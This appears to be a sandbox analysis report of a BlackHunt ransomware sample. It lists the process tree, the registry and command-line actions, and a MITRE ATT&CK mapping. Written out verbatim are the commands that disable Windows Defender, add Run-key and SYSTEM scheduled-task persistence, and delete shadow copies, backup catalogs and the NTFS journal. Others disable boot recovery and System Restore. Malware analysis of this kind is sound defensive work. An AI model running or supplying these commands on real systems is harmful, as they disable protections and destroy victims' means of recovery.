Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
"C:\Users\Admin\AppData\Local\Temp\4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:4012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe" /F
  2⤵
  PID:4440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:6124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4252
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2424
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4996
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2636
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:764
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3200
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4392
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3732
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:992
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5480

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1896

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery